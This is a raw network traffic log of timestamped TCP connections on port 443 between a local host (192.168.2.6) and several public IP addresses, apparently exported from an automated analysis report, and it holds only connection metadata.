Oct 25, 2024 10:19:26.576716900 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.576761007 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.576790094 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.577348948 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.577356100 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.577394962 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.577436924 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.577441931 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.577465057 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.577501059 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.578032970 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.578120947 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.578161001 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.578166962 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.578213930 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.581147909 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.586745977 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.586764097 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.613811016 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.613878965 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614043951 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614080906 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614080906 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614093065 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614115000 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614140987 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614170074 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614254951 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614295006 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614341021 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614351034 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614370108 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614419937 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614466906 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.614533901 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614533901 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.614541054 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.634728909 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.634752035 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.634885073 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.634903908 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.635210991 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.635257959 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.635320902 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.635322094 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.635322094 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.635322094 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.635322094 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.635322094 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.635338068 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.635884047 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.635911942 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.636171103 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.636188030 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.636571884 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.636604071 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.636836052 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.636853933 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.636919022 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.636919022 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.636919022 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.636919022 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.636919022 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.636919022 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.636919022 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.636929989 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.637082100 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.637105942 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.637176991 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.637182951 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.637304068 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.637563944 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.637581110 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.637984037 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.638005018 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.638452053 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.638480902 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.638510942 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.638510942 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.638510942 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.638510942 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.638510942 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.638531923 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.638753891 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.638777018 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.639333010 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.639349937 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.639431000 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.639431000 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.639431000 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.639431000 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.639431000 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.639446020 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.639746904 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.639770031 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.640211105 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.640227079 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.640727997 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.640758991 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.640785933 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.640785933 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.640786886 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.640786886 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.640786886 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.640786886 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.640799999 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.641186953 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.641204119 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.641320944 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.641320944 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.641320944 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.641320944 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.641320944 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.641331911 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.641799927 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.641820908 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.645143986 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.645143986 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.645143986 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.645143986 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.645157099 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.645315886 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.730300903 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.730426073 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.733319998 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.733319998 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.747662067 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.747694969 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:27.026496887 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.037813902 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.037828922 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.038935900 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.039691925 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.039866924 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.039886951 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.083004951 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.083034992 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.201180935 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.201231956 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.201437950 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.201823950 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.201838017 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271450043 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271495104 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271503925 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271542072 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271563053 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271574974 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.271600008 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271626949 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.271647930 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.271647930 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.271677017 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.278311968 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:27.278341055 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:27.278420925 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:27.278657913 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:27.278675079 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:27.289494038 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.289568901 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.289577961 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.289618015 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.289654016 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.289920092 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.290071011 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.290082932 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.437073946 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:27.437104940 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:27.437166929 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:27.437700033 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.437742949 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:27.437805891 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.438590050 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:27.438606977 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:27.438826084 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:27.438857079 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:28.403760910 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.403779984 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.403855085 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.404361010 CEST	50061	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.404377937 CEST	443	50061	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.465270042 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.465321064 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.465662956 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.469090939 CEST	50062	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.469110012 CEST	443	50062	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.527345896 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.527396917 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.527796030 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.528218031 CEST	50063	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.528234005 CEST	443	50063	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.530711889 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.530755043 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.531136990 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.534562111 CEST	50064	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.534579039 CEST	443	50064	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.536670923 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.536720037 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.536942959 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.547689915 CEST	50065	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:28.547707081 CEST	443	50065	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:28.712697029 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:28.712757111 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:28.712935925 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:28.713835955 CEST	50066	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:28.713850975 CEST	443	50066	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:28.880827904 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:28.881175995 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:28.881483078 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:28.881495953 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:28.881922007 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:28.881995916 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:28.882029057 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:28.882425070 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:28.882489920 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:28.882502079 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:28.882663965 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:28.882992029 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:28.883064032 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:28.883210897 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:28.923348904 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:28.927334070 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.020975113 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.021034002 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.021380901 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.023298025 CEST	50068	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.023338079 CEST	443	50068	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.024583101 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.024627924 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.025032043 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.026453972 CEST	50069	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:29.026469946 CEST	443	50069	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:29.038754940 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.039170980 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.041857004 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.041882038 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.042311907 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.042839050 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.042864084 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.043344021 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.043674946 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.043735981 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.044214964 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.045017004 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.045099020 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.045264959 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.048856974 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:29.048943043 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:29.048993111 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:29.050731897 CEST	50056	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:29.050746918 CEST	443	50056	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:29.091331005 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.091332912 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.226924896 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.227036953 CEST	443	50054	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.227086067 CEST	50054	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.284986973 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.285027981 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.285059929 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.285100937 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.285125971 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.285151005 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.285172939 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.285176039 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.285196066 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.285212040 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.285243034 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.285273075 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.285295010 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.285312891 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.293827057 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.293843031 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.293966055 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.293982983 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.294038057 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.296067953 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.296112061 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.296147108 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.296161890 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.296189070 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.296200037 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.403717995 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.403737068 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.403804064 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.403840065 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.403881073 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.404068947 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.404129982 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.404139042 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.404160976 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.404179096 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.404194117 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.404211998 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.412873030 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.412887096 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.412949085 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.412961006 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.413041115 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.413995028 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.414020061 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.414057970 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.414069891 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.414096117 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.414113045 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.414664984 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.414679050 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.414726019 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.414736986 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.414771080 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.414787054 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.414792061 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.414824963 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.414849043 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.414855957 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.414900064 CEST	443	50055	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:29.414928913 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.414957047 CEST	50055	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:29.453706026 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.453727007 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.453804016 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.453834057 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.457371950 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.523643970 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.523663044 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.523747921 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.523770094 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.525417089 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.531570911 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.531584978 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.531653881 CEST	50057	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:29.531672955 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.532892942 CEST	443	50057	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:29.532913923 CEST	443	50057	13.107.246.45	192.168.2.6
